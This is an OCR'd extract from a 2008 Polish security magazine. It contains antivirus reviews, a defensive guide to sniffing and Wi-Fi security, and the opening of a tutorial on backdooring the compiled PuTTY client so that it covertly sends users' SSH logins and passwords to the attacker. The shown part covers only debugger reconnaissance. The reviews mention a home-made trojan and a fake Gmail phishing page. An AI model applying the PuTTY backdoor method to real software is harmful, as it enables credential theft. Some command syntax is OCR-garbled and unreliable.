rze,  ale  w  pierwszej  kolejności  blokujące  je  przed  inte-
gracją  z  Twoim  systemem  operacyjnym.  Poza  tym  nie-
wątpliwymi zaletami produktu są łatwość w instalacji i za-
rządzaniu, skanowanie na żądanie, kreator ustawień dla 
zdefiniowania pewnych wykluczeń od blokady oraz auto-
matyczny update poprzez sieć Internet. l

background image

hakin9.live

hakin9 Nr 2/2008

www.hakin9.org

11

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest 

ona uszkodzona mechanicznie, sprawdź ją na co najmniej 

dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: 

cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 2/2008

www.hakin9.org

13

hakin9 Nr 2/2008

www.hakin9.org

Narzędzia

W dzisiejszych czasach, kiedy powstało tak wiele złośli-
wego oprogramowania, ochrona przed nim jest koniecz-
na. Chciałbym opisać służące do tego celu oprogramo-
wanie  Kaspersky  Internet  Security  7.0.  Jest  to  pełen 
pakiet ochronny komputera.

Postanowiłem  najpierw  przeczytać,  co  napisał 

o  swojej  aplikacji  producent.  Na  opakowaniu  i  w  jego 
wnętrzu widzimy wiele przeróżnych certyfikatów świad-
czących o wysokiej skuteczności zapewnianej ochrony. 
Jednak już chwilę potem – podczas instalacji sterowni-
ków – napotkałem na pierwsze problemy. Często trzeba 
wstrzymywać  ochronę  lub  omijać  te  pliki.  Największe 
kłopoty wystąpiły podczas instalacji modemu.

Kolejną czynnością było sprawdzenie działania sys-

temu  antywirusowego.  Pobrałem  kilka  wirusów  i  troja-
nów.  Podczas  tej  czynności  aplikacja  zaraportowała, 
że  wykryła  złośliwe  oprogramowanie.  Postanowiłem 
zatem  włączyć  Delphi  7  i  napisać  własnego  trojana. 
Po  jego  uruchomieniu  Kaspersky  natychmiast  poinfor-
mował,  że  trojan  dokonuje  zmian  w  rejestrze  –  zatem 
choćby  minimalnie  rozgarnięty  użytkownik  powinien 
uniknąć zainfekowania. Mimo wszystko, w razie jego nie-
wiedzy lub nieuwagi, firewall powinien zablokować troja-
na. Tu również Kaspersky spisał się bardzo dobrze. Fire-
wall działa bez zarzutu, ukrywa nazwę systemu i otwarte 
porty. Niestety, kiedy chcemy uruchomić serwer, firewall 
trzeba już samemu przekonfigurować.

Następnie  pod  lupę  wziąłem  filtr  anty-spamowy, 

który  wykazał  się  80%-ową  skutecznością  w  bloko-
waniu  niechcianych  przesyłek.  Kolejnym  przydatnym 
narzędziem jest ochrona WWW, zwłaszcza, gdy używa-
my Internet Explorera. Sprawdziłem exploity na IE6 i na 
Firefoksa 1.5. Kaspersky zablokował je i dodał do logów 
odpowiednie wpisy. 

Phishing,  zjawisko  coraz  częściej  występujące 

i  oparte  na  niewiedzy  lub  braku  rozwagi  użytkownika, 
pozwala na przejęcie każdej informacji, jaką ten wpro-
wadzi do sfałszowanego systemu. W celu sprawdzenia, 
jak radzi sobie z nim Kaspersky, utworzyłem bliźniaczą 
stronę Gmaila. Otworzyłem ją, używając Firefoksa – ku 
mojemu zdziwieniu program nic nie wykrył. Zatem w tym 
przypadku trzeba liczyć na siebie samego.
Ochrona rodzicielska to jeszcze jedno narzędzie, przy-
datne do kontrolowania zawartości, do której ma mieć 

dostęp  określony  użytkownik.  Jest  to  przydatny  kom-
ponent  dla  użytkowników  systemu  Microsoft  Win-
dows  XP  (lub  starszego).  Działa  bez  zarzutów:  blo-
kuje strony WWW z czarnej listy i dopuszcza z białej. 
W  moim  przypadku  wystarczyło  jednak  użycie  Web 
proxy,  by  czarna  lista  przestała  stanowić  jakąkolwiek 
przeszkodę.

Rootkity  to  coraz  częściej  spotykane  programy, 

które podszywają się pod biblioteki systemowe i dzięki 
temu  mogą  pozostać  niezauważone  w  trakcie  działa-
nia  systemu  operacyjnego.  Kaspersky  ma  wbudowa-
ny wykrywacz rootkitów. Radzi on sobie z popularnymi 
zagrożeniami, jednak w starciu z płatnymi, wyspecjali-
zowanymi rootkitami nie ma szans.

Bardzo  przydatną  funkcją  jest  zapisywanie  prób 

ataków.  Kiedy  symulowałem  atak  z  drugiego  kompu-
tera,  Kaspersky  zapisał  adres  IP  napastnika.  Nieste-
ty,  jeśli  atakujący  korzysta  z  zagranicznego  proxy, 
wtedy  nie  znajdziemy  go  własnymi  siłami  (no,  chyba, 
że mamy kolegę – administratora tego serwera). Jeżeli 
jednak ktoś przeprowadzi atak, możemy przejrzeć logi 
systemowe lub firewalla.
Moja ocena programu to 4+, pakiet całkowicie na nią 
zasługuje.

Michał Koźmiński

Producent: Kaspersky

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security

Strona producenta: http://www.kaspersky.pl/

Ocena: 4,5

Kaspersky Internet 

Security 7

Rysunek 1. 

Kaspersky Internet Security 7

background image

12

Narzędzia

hakin9 Nr 2/2008

www.hakin9.org

13

hakin9 Nr 2/2008

www.hakin9.org

Narzędzia

Program  jest  dostępny  na  kilka  sposobów:  mamy 

wersję  z  CD  oraz  elektroniczną.  Tę  drugą  ściągamy 
ze  strony  producenta  (http://www.avgpolska.pl,  dział 
Pobierz).  Aby  uzyskać  klucz  licencyjny,  rejestrujemy 
się na stronie WWW, wypełniając odpowiedni formu-
larz (pola wymagane oznaczone są gwiazdką). Już po 
chwili  w  naszej  skrzynce  e-mail  znajdzie  się  wiado-
mość związana z procesem rejestracji, włącznie z klu-
czem pozwalającym zainstalować program AVG.

Kolejne  etapy  instalacji  przebiegają  szybko, 

na  początku  wybieramy  język  instalacji  (w  najnowszej 
wersji  jest  już  język  polski).  Przechodzimy  do  wyboru 
trybu  instalacji.  Ja  wybrałem  wersję  zaawansowaną, 
więc w dalszych krokach zostałem zapytany o położe-
nie instalowanego programu czy zestaw modułów, które 
chcę zainstalować. Aby przetestować pełną funkcjonal-
ność,wybrałem  instalację  zalecaną  przez  producenta 
–  ze  wszystkimi  składnikami,  w  sugerowanych  katalo-
gach.  Jeszcze  przed  zakończeniem  instalacji  program 
zapytał,  czy  ma  pobrać  aktualizacje  i  wykonać  pełne 
skanowanie systemu.

Zainstalowane  moduły:  Firewall,  Anti-Spyware 

i Anti-Spam pozwalają na kompleksową ochronę kom-
putera. Pracę z programem możemy prowadzić poprzez 
dwa interfejsy, podstawowy i zaawansowany. Interfejs 
prosty  pozwala  jedynie  na  wykonanie  skanowania, 
zdefiniowanie  reguł  skanowania,  sprawdzenie  pozio-
mu  działania  modułów,  sprawdzenie  raportu  ostatnie-
go  skanowania  oraz  wykonanie  aktualizacji.  Z  pod-
stawowego interfejsu możemy w każdej chwili przejść 
do  Centrum  Kontroli  i  Zaawansowanych  ustawień.  
ustawieniach  zaawansowanych  pojawia  się  dodatko-
wa możliwość – ustawienia systemu. W aplikacji AVG 
postawiono  na  kreatory  zadań.  Skanowanie  systemu 
wykonujemy  poprzez  taki  właśnie  kreator.  Obok  zde-
finiowania reguł skanowania, ustawiamy także harmo-
nogram  skanowania  komputera,  decydując  o  odstę-
pach  pomiędzy  poszczególnymi  badaniami,  plikach, 
lokalizacjach. Oprócz wywołania ręcznego skanowania 
systemu,  możemy  również  ustalić  dokładny  harmono-
gram pracy skanera. Sama praca programu oparta jest 
na  modułach,  o  prawidłowości  ich  działania  (bądź 
ewentualnych  błędach)  informują  nas  kolorowe  ikony: 
zielone  (moduły  pracują  bez  błędów),  żółte  (zignoro-

wano błędy jednego ze składników) albo czerwone (źle 
skonfigurowany jeden ze składników). Ogólna konfigu-
racja programu ogranicza się do ustawień związanych 
z występowaniem danych opcji w menu. Minusem jest 
brak  możliwości  włączania  i  wyłączania  poszczegól-
nych modułów – można dezaktywować jedynie firewal-
le, ustawiając regułę przepuszczaj cały ruch sieciowy.

W podobny sposób, jak dla interfejsu prostego, tworzymy 

zadania do skanowania i reguły. Ciekawym rozwiązaniem 
jest grupa opcji dotycząca firewalli i polityk bezpieczeństwa. 
Pierwsze, na co zwróciłem uwagę, to schemat zabezpieczeń 
– dostępne są następujące możliwości: laptop, komputer pra-
cujący w domenie, komputer w sieci lokalnej. W zależności 
od wybranego profilu system sam zmienia zasady bezpie-
czeństwa. Brakuje jednak opcji tworzenia własnego profilu. 
W ustawieniach firewalla przechodzimy do zakładki Appli-
cations,  gdzie  definiujemy  reguły  dla  programów  zainsta-
lowanych  w  komputerze.  Oprócz  standardowych  aplikacji 
możemy dodać własne, decydujemy także, które porty są 
przydzielane do danej aplikacji. Moim zdaniem jest to roz-
wiązanie przemyślane, przejrzyste i nawet średnio zaawan-
sowanemu użytkownikowi nie powinno sprawić problemów 
(naturalnie, przydaje się znajomość sieci TCP/IP i portów). 
W zakładce System decydujemy o ustawieniach usług sys-
temowych.  Ta  grupa  opcji  zalecana  jest  użytkownikom 
zaawansowanym,  gdyż  nieodpowiednie  skonfigurowanie 
usług systemowych może zablokować dostęp do Internetu 
czy drukarki sieciowej. Także zakładka Networks ma istotne 
znaczenie – definiujemy tam dostępność interfejsów, które 
będą przez nas nadzorowane. Decydujemy, czy dany inter-
fejs będzie pracował jednocześnie z innym, czy podłączenie 
przez jeden będzie automatycznie blokować drugi. Możemy 
także  przypisać  profile  ustawień  firewalla  do  konkretnego 
interfejsu.

W mojej ocenie program AVG stanowi bardzo dobre 

centrum  ochrony  komputera.  Zajmuje  mało  pamięci 
operacyjnej,  jest  szybki.  Brakuje  mi  w  nim  kilku  usta-
wień. Ale mimo wszystko praca z takimi rozwiązania-
mi i interfejsem jest przyjemna oraz intuicyjna. Gorąco 
zachęcam do wypróbowania wersji demo.

Rafał Podsiadły

AVG Internet Security 7.5

Producent: AVG Grisoft

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security

Strona producenta: http://www.avg.pl/

Strona dystrybutora: www.quantus.pl

Ocena: 5

background image

www.hakin9.org

hakin9 Nr 2/2008

14

Początki

O

statnio, w związku z szerzącą się modą 
na hotspoty, popularny stał się również 
wardriving.  Jest  to  nic  innego,  jak  wy-

szukiwanie sieci bezprzewodowych. Należy pa-
miętać,  że  nie  zawsze  oznacza  to  włamywanie 
się do nich. Niektórzy jednak nie poprzestają na 
wyszukaniu sieci i kradną dane. Dalsza część ar-
tykułu naprowadzi Cię na sposób, w jaki powinni-
śmy się zabezpieczyć przed takimi atakami.

Jeśli chcemy się uchronić przed jakimś za-

grożeniem, to musimy je najpierw poznać. Snif-
fing
 odbywa się poprzez przechwytywanie pa-
kietów  sieci  lokalnej  (Rysunek  1).  Większość 
osób może odbierać jedynie własne pakiety, po-
nieważ współcześnie sieci są oparte o switche 
lub routery pozwalające na przesyłanie danych 
tylko do komputera, do którego zostały przeka-
zane informacje. Jedynie huby wysyłają pakie-
ty  do  wszystkich  użytkowników,  lecz  aktualnie 
rzadko wykorzystuje się urządzenia tego typu.

Zabezpieczenia routera da się ominąć po-

przez przepełnienie tablicy ARP lub ARP Po-
isoning.  Nie  będę  tutaj  opisywać  tych  metod, 
ponieważ mamy inny cel – a osoby bardziej za-
interesowane  tym  tematem  znajdą  pożądane 
informacje w Internecie (ramka W Sieci). Snif-
fing
 często wiąże się z wardrivingiem. Napast-

nik  najpierw  wyszukuje  sieć  bezprzewodową, 
a następnie łączy się z nią. Jeśli sieć jest ogól-
nodostępna, to nie ma żadnego problemu, po-
nieważ  potrzebne  dane  zostaną  pozyskane 
dzięki DHCP. Często jednak zdarza się, że sieć 
jest  chroniona  kluczem,  ponieważ  za  dostęp 
trzeba  zapłacić  lub  po  prostu  ktoś  nie  chciał 
przyjmować niepowołanych gości.

Szyfrowanie połączenia

Pierwszym  krokiem,  jaki  powinniśmy  zrobić 
w  kierunku  zabezpieczenia  swojego  kompute-
ra, jest szyfrowanie czegokolwiek, co wysyłamy 
do sieci. Możemy w tym celu zastosować często 
używany standard SSL (Secure Socket Layer). 

Sniffing i wardriving 

– zabezpiecz się!

Konrad Witaszczyk

stopień trudności

Wiele osób korzystających z Internetu nie zdaje sobie sprawy, 

że oprócz takich zagrożeń, jak robaki i wirusy istnieje również 

sniffing (ang. sniff – węszyć). Wykorzystując tę technikę można 

dowiedzieć się między innymi, jakie ktoś ma hasła. 

Z artykułu dowiesz się

•   jak bezpiecznie korzystać z Sieci,
•   jak zabezpieczyć własną sieć bezprzewodową.

Co powinieneś wiedzieć

•   w jaki sposób wysyłane są dane do serwerów,
•   powinieneś znać podstawowe pojęcia dotyczą-

ce sieci bezprzewodowych.

background image

Sniffing i wardriving – zabezpiecz się!

hakin9 Nr 2/2008

www.hakin9.org

15

Jednak nie jest on już dłużej rozwija-
ny,  a  jego  miejsce  zajął  TLS  (Trans-
port
  Layer  Security).  Doskonale  na-
daje się on do szyfrowania takich pro-
tokołów, jak HTTP, SMTP czy POP3. 
Największą  różnicą  między  SSL 
a TLS jest to, iż nowsza wersja używa 
algorytmu  HMAC,  który  trudniej  zła-
mać w przeciwieństwie do wcześniej 
stosowanego algorytmu MAC. Różni 
je to, że pierwszy z nich wykorzystu-
je hashe (MD5 lub SHA1), do których 
są dołączane klucze oraz nie posiada 
ograniczeń długości tekstu.

Coraz  więcej  banków,  firm  ho-

stingowych  czy  nawet  zwyczajnych 
serwisów używa SSL bądź TLS, co 
daje  klientowi  satysfakcję  z  ochro-
ny  danych.  W  celu  wykorzystania 
tej  technologii  musimy  dysponować 
przeglądarką internetową, która po-
siada pełną obsługę SSL 128-bit:

•   Opera  –  SSL  2,  SSL  3,  TLS  1, 

TLS 1.1,

•   Firefox – SSL 3, TLS 1,
•   Internet  Explorer  –  SSL  2,  SSL 

3, TLS 1.

Aktywowanie  tej  funkcji  jest  proste. 
Najpierw należy w ustawieniach prze-

glądarki  włączyć  szyfrowanie  połą-
czeń, a następnie przy otwieraniu stro-
ny zaakceptować certyfikat.

Komunikatory

Częstym  przypadkiem  ataku  typu 
sniffing  jest  podsłuchiwanie  rozmów. 
Niestety  większość  polskich  użyt-
kowników  korzysta  z  komunikatora 
Gadu-Gadu,  którego  twórcy  dopiero 
niedawno rozpoczęli testy wersji pro-
gramu  z  szyfrowanym  połączeniem. 
Jednak  w  tej  sytuacji  możemy  wy-
brać  inne  rozwiązanie,  a  konkretnie 

–  Jabbera  (patrz  Terminologia).  Za-
letami  tego  protokołu  komunikacji  są 
przede  wszystkim  bezpieczeństwo 
i wielofunkcyjność. Gdy zdecydujemy 
się  na  to  rozwiązanie,  możemy  szy-
frować  połączenie,  jeśli  nam  na  to 
pozwoli  serwer,  a  dodatkowo  istnieje 
możliwość wykorzystywania PGP lub 
GPG (patrz Terminologia) w celu szy-
frowania transmisji. Wybranie tej opcji 
nie wiąże się z rezygnacją z używania 
takich protokołów, jak Gadu-Gadu czy 
Tlen, ponieważ Jabber zawiera obsłu-
gę  tzw.  transportów,  czyli  przekaza-
nia użytkownikowi kontroli nad API da-
nej sieci. Dodatkowym atutem Jabbe-
ra jest otwartość jego kodu (ang. open 
source
).  Dzięki  temu  powstało  wiele 
ciekawych  komunikatorów,  które  cie-
szą się znaczną popularnością.

GNU Privacy Guard

Jak wcześniej wspomniałem, GPG jest 
idealnym rozwiązaniem dla osób, które 
chcą mieć pewność, że nikt ich nie pod-
słuchuje. W tej części artykułu wygene-
rujemy swoją pierwszą parę kluczy.

Program  ten  jest  wieloplatformo-

wy,  więc  zarówno  użytkownicy  *nix
jak  i  Windows  nie  będą  mieć  kłopotu 
z dostępem do niego. Obsługa aplika-
cji  wygląda  tak  samo  w  każdym  sys-
temie.  Gdy  mamy  zainstalowane  od-
powiednie  oprogramowanie,  wpisuje-
my w konsoli:

gpg – gen-key

Pojawia się numer wersji programu, tro-
chę informacji na temat licencji i głów-

GPG - komendy

•  

gpg – list-keys

 – lista wygenerowanych kluczy,

•  

gpg – export adres@adres.com –armour –output plik _ klucza

 – eksport klu-

cza publicznego do pliku,

•  

gpg – import plik _ klucza

 – import klucza z pliku,

•  

gpg – edit-key adres@adres.com

 – weryfikacja klucza,

•  

gpg – delete-keys nazwa

 – usuwanie klucza,

•  

gpg – output wiadomość _ zaszyfrowana –encrypt wiadomość

 – szyfrowanie 

wiadomości,

•  

gpg – decrypt wiadomość _ zaszyfrowana

 – odszyfrowanie wiadomości,

•  

gpg – output wiadomość _ podpisana –clearsign wiadomość

 – podpisywanie 

wiadomości,

•  

gpg – verify wiadomość _ podpisana

 – weryfikacja podpisanej wiadomości.

Rysunek 1. 

Przechwycony pakiet z odpowiedzią serwera HTTP po 

otworzeniu obrazka GIF

Literatura

•   802.11 Security – Bruce Potter, Bob Fleck; 01/2004,
•   Hack Proofing Your Network – 10/2002,
•   TCP/IP Unleashed – Karanjit S. Siyan, Tim Parker; 12/2002,
•   Upgrading and Repairing Networks: Field Guide – Scott Mueller, Terry W. Ogle-

tree; 04/2004,

•   Wireless Hacks – Lee Barken; 11/2006.

background image

hakin9 Nr 2/2008

www.hakin9.org

Początki

16

ne  menu.  Musimy  w  nim  wybrać,  ja-
ki  algorytm  wykorzystamy.  Wybierze-
my  pierwszą  opcję  (DSA  i  Elgamal), 
ponieważ  dzięki  niej  będziemy  mieć 
możliwość  szyfrowania  i  podpisywa-
nia wiadomości. Następny krok to wy-
bór długości klucza, a potem jego ter-
minu ważności. Po tych czynnościach 
musimy  wpisać  swoje  imię,  nazwisko 
oraz e-mail. Dane nie muszą być praw-
dziwe,  ważne,  żeby  osoby  korzysta-
jące  z  klucza  publicznego  wiedziały, 
do kogo on należy. Jeśli wszystko się 
zgadza,  akceptujemy  wpisane  dane 
oraz  podajemy  hasło  dostępu,  które 

powinno  być  odpowiednio  skompliko-
wane, aby nikt poza nami go nie znał 
i  nie  mógł  odgadnąć.  Jeśli  wszystko 
poszło dobrze, powinniśmy ujrzeć ko-
munikat zwracający fingerprint. Posia-
danie  tego  ciągu  jest  wymagane,  by 
uchronić się przed atakiem Man in the 
middle
. Eksport klucza do pliku wyko-
nujemy za pomocą komendy:

gpg –export adres@adres.com –armour–  

output plik

Teraz  możemy  udostępnić  klucz  pu-
bliczny  znajomym  i  szyfrować  swoje 

wiadomości.  Pozostałe  komendy  po-
trzebne  do  korzystania  z  programu 
zostały przedstawione w ramce GPG 
– komendy
.

IDS

System wykrywania włamań (ang. In-
trusion Detection System
) to pożytecz-
ny mechanizm, który pomaga nam po-
przez dostarczanie raportów o ewentu-
alnych atakach na nasz komputer, wy-
krytych dzięki analizie ruchu sieciowe-
go.  Jedną  ze  słynniejszych  aplikacji 
wykorzystujących  tego  typu  mecha-
nizm jest Snort, który pokazuje komu-
nikaty w czasie rzeczywistym. Informu-
ją one nas m. in. o wysyłanych oraz od-
bieranych  pakietach,  próbach  ataków 
typu buffer overflow (przepełnienie bu-
fora),  skanowaniu  portów  przez  intru-
za  czy  próbie  wykrycia  wersji  nasze-
go systemu operacyjnego. Przykłado-
wy wynik działania tego programu zo-
stał przedstawiony na Rysunku 2. Dla 
osób,  które  są  przyzwyczajone  do 
okienek, został stworzony front-end te-
go programu o nazwie IDScenter (http:
//www.engagesecurity.com/products/
idscenter
).  Istnieje  jeszcze  kilka  apli-
kacji tego typu dla użytkowników sys-
temu  Windows,  np.  KFSensor  (http:
//www.keyfocus.net/kfsensor
), 

lecz 

jest on mniej popularny niż poprzednio 
wspomniany konkurent. Innym wartym 
uwagi  programem  tego  typu  jest  Ki-
smet
  (http://www.kismetwireless.net). 
Oprócz tego, iż posiada on mechanizm 
IDS, może wyszukiwać sieci bezprze-
wodowe, a także sniffować.

Bezpieczne WiFi

Przy  budowie  sieci  bezprzewodowej 
musimy  rozważyć  wszelkie  możliwo-
ści dostania się do niej przez niepowo-
łane osoby. Wielu administratorów po-
pełnia błąd, tworząc sieci bezprzewo-
dowe bez szyfrowania. Inni natomiast 

Rysunek 2. 

Wynik działania programu Snort

W Sieci

•   http://www.gnupg.org – GnuPG,
•   http://www.openssl.org
•   http://tools.ietf.org/html/rfc4346 

– TLS 1.1, RFC 4346,

•   http://tools.ietf.org/html/rfc1122 

– warstwy komunikacji, RFC 1122.

background image

Sniffing i wardriving – zabezpiecz się!

hakin9 Nr 2/2008

www.hakin9.org

17

stosują jedynie DHCP, które polega na 
pozyskaniu adresu sieciowego IP po-
przez odczytanie MAC, czyli unikato-
wego  numeru  interfejsu.  W  tym  wy-
padku  osoba  atakująca  może  zasto-
sować  MAC  Spoofing,  czyli  ustawia-
nie  identyfikatora  MAC  innej  osoby 
i podszywanie się pod nią. Jeśli sieć 
używa  klucza  WEP,  to  –  przy  odpo-
wiedniej ilości przechwyconych pakie-
tów – można go często odszyfrować 
w  przeciągu  minuty.  Do  tego  służy 
program Aircrack–ng – wyszukiwarka 
sieci, sniffer i łamacz WEP oraz WPA-
PSK  (prostsza  wersja  WPA).  Najlep-
szym sposobem przeciwdziałania jest 
zaszyfrowanie sieci standardem WPA 
(wersja Enterprise), który zaleca Wi-Fi 
Alliance. Został on stworzony jako na-

stępca WEP, który stał się mało bez-
pieczny.  Każda  osoba  powinna  mieć 
swój  oddzielny  klucz.  Można  go  wy-
generować  za  pośrednictwem  strony 
speedguide.net,  która  zawiera  gene-
rator z możliwością wyboru różnej dłu-
gości klucza. Warto taką czynność po-
wtarzać co jakiś czas, np. raz w mie-
siącu. Hasło powinno zawierać znaki 
specjalne i być długie, trudne do zła-
mania.  Dzięki  temu  istnieje  mniejsza 
szansa  na  złamanie  hasła  metodą 
brute–force,  czyli  poprzez  sprawdze-
nie wszystkich kombinacji, np:

aa; ab; ac (...) ba; bb; bc (...)

Niestety, nie we wszystkich urządze-
niach jest dostępna obsługa WPA, je-

żeli się jednak pojawiła, to bez zasta-
nowienia należy ją włączyć.

Dodatkowym 

zabezpieczeniem 

może  być  ukrycie  SSID,  czyli  identy-
fikatora  sieci.  Wydaje  się  to  być  do-
brym  wyjściem,  choć  nie  do  końca. 
Osoba atakująca ma możliwość stwo-
rzenia sieci z widocznym SSID o takiej 
samej  nazwie,  która  będzie  na  tym 
samym kanale, co prawdziwa. Dzięki 
temu może przechwycić pakiety i od-
czytać poufne informacje.

Można  również  włączyć  serwer 

DHCP  z  listą  dostępową  zawiera-
jącą  dopuszczalne  wartości  MAC, 
która ułatwi proces uwierzytelnienia 
użytkowników. Jednak nie jest on po-
trzebny przy małej ilości osób korzy-
stających  z  sieci.  Każdy  może  sam 
wpisać potrzebne dane w konfigura-
cji karty sieciowej.

Podsumowanie

Przy  korzystaniu  z  Internetu  musi-
my być gotowi na wszelkiego rodzaju 
niebezpieczeństwa. Najlepszą obro-
ną przed nimi jest logiczne myślenie 
i  ostrożność  w  działaniu.  Zabezpie-
czenie  się  przed  zagrożeniami  mo-
że  wydawać  się  czasochłonne,  ale 
podjęty  trud  zapewni  nam  spokój 
i  ochroni  naszą  prywatność.  Admi-
nistratorzy muszą pamiętać, że brak 
dostatecznych  zabezpieczeń  stano-
wi  pośrednio  przyzwolenie  na  wła-
manie się do sieci. Poprawiając bez-
pieczeństwo zwiększają zaufanie do 
swoich usług. l

O autorze

Autor  jest  programistą  PHP  w  firmie  zajmującej  się  projektowaniem  stron  interne-
towych. Dodatkowo prowadzi kilka projektów, w tym  Ruby Movie Get (http://movie-
get.org
) oraz wyklady.net. Kontakt z autorem: defc0n@defc0n.or

Terminologia

•   Adres IP – unikatowy numer komputera w danej sieci,
•   DHCP – technologia pozyskiwania od serwera takich danych, jak IP, DNS czy ad-

res domyślnej bramy po rozpoznaniu MAC,

•   Fingerprint – suma kontrolna klucza PGP/GPG, dzięki niej możemy go zweryfikować,
•   HotSpot – punkt dostępowy bezprzewodowej sieci, przykładowo prawie w każdym 

McDonaldzie można zaobserwować płatny hotspot sieci Era,

•   MAC – unikatowy adres karty sieciowej,
•   PGP/GPG – program do szyfrowania wiadomości wykorzystujący algorytm DSA 

lub RSA.

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 2/2008

18

Atak

O

gólnie rzecz biorąc, zmodyfikowanie 
aplikacji nie stanowi większego pro-
blemu, gdy posiadamy dostęp do jej 

kodu  źródłowego.  Szczególnie,  jeśli  zosta-
ła  napisana  w  języku  wysokiego  poziomu 
– jak C czy C++. Możemy z łatwością zmie-
nić jej zachowanie czy też dodać do niej no-
we opcje poprzez dodanie kilku instrukcji lub 
funkcji. Wystarczy, że otworzymy kod źródło-
wy, dodamy kilka linijek i ponownie skompilu-
jemy aplikację. To wszystko, co jest potrzeb-
ne  do  zmiany  aplikacji  o  dostępnym  kodzie 
źródłowym.

O  wiele  trudniej  jest  zmienić  aplikację, 

gdy  wszystko  co  posiadamy,  to  kilka  wcze-
śniej  skompilowanych  plików  binarnych  nie-
wiadomego  przeznaczenia.  Praca  z  plikami 
binarnymi  wiąże  się  z  niskopoziomową  ana-
lizą  kodu  maszynowego  za  pomocą  różnego 
rodzaju narzędzi przeznaczonych do tego ce-
lu – jak hexedytory czy disasemblery, wyma-
ga również znajomości asemblera oraz syste-
mu operacyjnego, dla którego została napisa-
na aplikacja. 

W tym artykule czytelnik zostanie przepro-

wadzony  krok  po  kroku  poprzez  proces  mo-
dyfikacji dobrze znanego klienta SSH – PuT-

TY,  wykorzystując  tylko  jego  skompilowaną 
wersję. Wszystko, co  będziemy potrzebowa-
li, to plik wykonywalny putty.exe w wersji 0.60 
(z uwagi na podane w dalszej części artykułu 
adresy przesunięć, które mogą się różnić w in-
nych wersjach, czytelnik powinien pobrać do-
kładnie  taką  samą  wersję  PuTTY).  Naszym 
celem  będzie  dodanie  do  programu  PuTTY 
dodatkowej  procedury,  która  sprawi,  że  lo-
giny  i  hasła  wprowadzone  przez  użytkowni-

Hakowanie PuTTY

Dawid Gołuński

stopień trudności

Chyba każdy z nas słyszał o tylnych furtkach w programach 

open-source. Czasami słyszy się o pakietach systemu Linux 

lub nawet dystrybucjach, które zostały zmodyfikowane. Jednak 

nie każdy wie, że także już skompilowane oprogramowanie jest 

podatne na modyfikacje. Artykuł pokazuje, jak zmodyfikować 

skompilowaną aplikację na przykładzie klienta SSH – PuTTY. 

Z artykułu dowiesz się

•  jak zmodyfikować aplikację bez dostępu do ko-

du źródłowego.

Co powinieneś wiedzieć

•  znać podstawy asemblera i niskopoziomowego 

programowania,

•  posiadać podstawową wiedzę na temat forma-

tu plików wykonywalnych PE,

•  znać narzędzia służące do binarnej analizy, ta-

kie jak OllyDbg, IDA czy Hiew,

•  znać  podstawy  programowania  w  środowisku 

Windows oraz znać Windows API.

background image

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

19

ka  w  procesie  logowania  do  zdal-
nego  systemu  (po  nawiązaniu  se-
sji  SSH)  zostaną  w  sposób  niewi-
doczny  przesłane  poprzez  Internet 
do wybranego przez nas miejsca. 

Research – zbieranie 

informacji

Na  początku  musimy  ustalić,  czy 
program  nie  został  skompresowa-
ny  za  pomocą  pakerów  plików  wy-
konywalnych, jak UPX czy Aspack. 
Modyfikowanie 

skompresowanej 

aplikacji  nie  miałoby  bowiem  sen-
su. Aby dowiedzieć się, czy aplika-
cja została skompresowana, może-
my posłużyć się jednym z narzędzi 
służących do analizy plików PE, jak 
np. popularny PEiD. 

Po wczytaniu pliku putty.exe do 

PEiD  uzyskamy  informacje  na  te-
mat języka, w którym został napisa-
ny PuTTY. PEiD nie wspomina nato-
miast o żadnym kompresorze, więc 
możemy  uznać,  że  plik  nie  został 
skompresowany  i  jego  rozpakowa-
nie nie będzie konieczne. 

Badamy proces logowania

Aby  dowiedzieć  się,  jaki  lo-
gin  oraz  hasło  wprowadził  użyt-
kownik  podczas  logowania  się 
do  zdalnego  systemu,  będzie-
my  musieli  znaleźć  sposób  na 
przechwycenie  klawiszy  wciska-
nych  w  oknie  programu  PuTTY. 
W  tym  celu  musimy  dokładnie 
przyjrzeć  się  procesowi  logowa-
nia,  tak  aby  ustalić,  w  jaki  sposób 
PuTTY obsługuje klawiaturę tuż po 
nawiązaniu sesji SSH z serwerem.

Posłużymy  się  tu  popularnym 

debuggerem  –  OllyDbg.  Posiada 
on  bardzo  użyteczną  funkcje  lo-
gowania  breakpointów  (pułapek). 
Dzięki niej jesteśmy w stanie usta-
wić logowanie wszystkich wywołań 
API  (Application  Programming  In-
terface
) i w ten sposób dowiedzieć 
się,  jakie  funkcje  są  wykorzysty-
wane  oraz  gdzie  trafiają  naciśnię-
te klawisze.

Po  wczytaniu  pliku  putty.exe 

do debuggera klikamy prawym przy-
ciskiem  myszy  w  dowolne  miejsce 
w  oknie  kodu  i  z  menu  konteksto-
wego  wybieramy  Search  for  –>  All 
intermodular  calls
.  W  oddzielnym 
oknie  (okno  referencji)  otrzyma-
my  pełną  listę  funkcji  wykorzysty-
wanych przez program PuTTY. Na-
stępnie  klikamy  prawym  przyci-

skiem  myszy  na  okno  referencji 
i z menu kontekstowego wybieramy 
Set  log  breakpoint  on  every  com-
mand
.  Po  ukazaniu  się  okna  dialo-
gowego, w którym możemy ustawić 
właściwości  naszej  pułapki,  zazna-
czamy opcję Always przy Log func-
tion  arguments
,  co  spowoduje,  że 
oprócz  samych  nazw  funkcji,  logo-
wane będą również przekazane do 
nich parametry. Następnie przecho-
dzimy do okna, w którym logowane 
są zdarzenia (Log window). 

Po uruchomieniu programu (po-

przez  F9)  w  oknie  zaczną  poja-
wiać się nazwy kolejno wywoływa-
nych  funkcji  wraz  z  parametrami. 
Po  chwili  ujrzymy  okno  dialogowe 
programu  PuTTY,  w  którym  wpisu-
jemy  parametry  połączenia  (adres 
serwera,  port).  Zanim  jednak  wci-
śniemy  przycisk  Open  w  celu  na-
wiązania  połączenia  SSH,  musi-
my  tak  skonfigurować  nasz  debug-
ger,  aby  wszystko,  co  pojawia  się 
w oknie Log window, logował do pli-
ku  tekstowego  –  tak,  żebyśmy  ni-
czego nie przeoczyli. 

Po  wciśnięciu  przycisku  Open 

nawiązana  zostanie  sesja  SSH 
z  podanym  serwerem.  Zostanie-
my  poproszeni  o  wpisanie  nazwy 
